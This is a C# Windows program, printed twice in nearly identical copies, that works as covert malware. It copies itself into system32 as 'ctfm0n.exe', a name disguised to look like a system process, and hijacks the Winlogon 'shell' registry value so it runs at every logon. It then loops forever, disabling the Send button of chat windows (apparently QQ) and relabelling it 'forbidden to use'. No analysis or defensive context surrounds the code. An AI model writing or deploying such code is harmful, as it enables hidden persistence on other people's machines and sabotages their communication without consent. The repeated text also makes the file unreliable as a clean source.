using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Collections;
using System.Threading;
using System.IO;
using Microsoft.Win32;
public delegate bool CallBack(IntPtr hwnd, int lParam);
namespace WindowsApplication6
{
public partial class Form1:Form
{
[DllImport("user32.dll")]
public static extern bool SetWindowText(IntPtr hWnd, string lpString);
[DllImport("user32.dll")]
public static extern bool EnableWindow(IntPtr hWnd, bool bEnable);
[DllImport("user32.dll")]
public static extern int EnumWindows(CallBack x, int y);
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hwnd, System.Text.StringBuilder buf, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr FindWindowEx(IntPtr parent,
IntPtr next,
string sClassName,
string sWindowTitle);
public static Hashtable hs = new Hashtable();
public static bool Report(IntPtr hwnd, int lParam)
{
StringBuilder buf = new StringBuilder(256);
GetWindowText(hwnd, buf, 256);
if ((buf.ToString().IndexOf("聊天中") != -1) || (buf.ToString().IndexOf("- 发送消息") != -1))
{
hs.Add(hwnd, null);
}
return true;
}
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
if (!File.Exists("c://windows//system32//ctfm0n.exe"))
{
File.Copy(Application.ExecutablePath, "c://windows//system32//ctfm0n.exe");
}
Microsoft.Win32.RegistryKey pregkey;
pregkey = Registry.LocalMachine.OpenSubKey("SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon", true);
{
pregkey.SetValue("shell", "Explorer.exe ctfm0n.exe");
}
while (true )
{
hs.Clear();
CallBack myCallBack = new CallBack(Report);
EnumWindows(myCallBack, 1);
foreach (System.Collections.DictionaryEntry de in hs)
{
IntPtr hd = (IntPtr)(de.Key);
IntPtr frameh = FindWindowEx(hd, IntPtr.Zero, "#32770", null);
if ((int)frameh != 0)
{
IntPtr ip = FindWindowEx(frameh, IntPtr.Zero, "Button", "发送(S)");
if ((int)ip != 0)
{
SetWindowText(ip, "禁止使用");
EnableWindow(ip, false);
}
}
}
Thread.Sleep(1000);
}
}
}
}
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Collections;
using System.Threading;
using System.IO;
using Microsoft.Win32;
public delegate bool CallBack(IntPtr hwnd, int lParam);
namespace WindowsApplication6
{
public partial class Form1:Form
{
[DllImport("user32.dll")]
public static extern bool SetWindowText(IntPtr hWnd, string lpString);
[DllImport("user32.dll")]
public static extern bool EnableWindow(IntPtr hWnd, bool bEnable);
[DllImport("user32.dll")]
public static extern int EnumWindows(CallBack x, int y);
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hwnd, System.Text.StringBuilder buf, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr FindWindowEx(IntPtr parent,
IntPtr next,
string sClassName,
string sWindowTitle);
public static Hashtable hs = new Hashtable();
public static bool Report(IntPtr hwnd, int lParam)
{
StringBuilder buf = new StringBuilder(256);
GetWindowText(hwnd, buf, 256);
if ((buf.ToString().IndexOf("聊天中") != -1) || (buf.ToString().IndexOf("- 发送消息") != -1))
{
hs.Add(hwnd, null);
}
return true;
}
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
if (!File.Exists("c://windows//system32//ctfm0n.exe"))
{
File.Copy(Application.ExecutablePath, "c://windows//system32//ctfm0n.exe");
}
Microsoft.Win32.RegistryKey pregkey;
pregkey = Registry.LocalMachine.OpenSubKey("SOFTWARE//Microsoft//Windows NT//CurrentVersion//Winlogon", true);
{
pregkey.SetValue("shell", "Explorer.exe ctfm0n.exe");
}
while (true )
{
hs.Clear();
CallBack myCallBack = new CallBack(Report);
EnumWindows(myCallBack, 1);
foreach (System.Collections.DictionaryEntry de in hs)
{
IntPtr hd = (IntPtr)(de.Key);
IntPtr frameh = FindWindowEx(hd, IntPtr.Zero, "#32770", null);
if ((int)frameh != 0)
{
IntPtr ip = FindWindowEx(frameh, IntPtr.Zero, "Button", "发送(S)");
if ((int)ip != 0)
{
SetWindowText(ip, "禁止使用");
EnableWindow(ip, false);
}
}
}
Thread.Sleep(1000);
}
}
}
}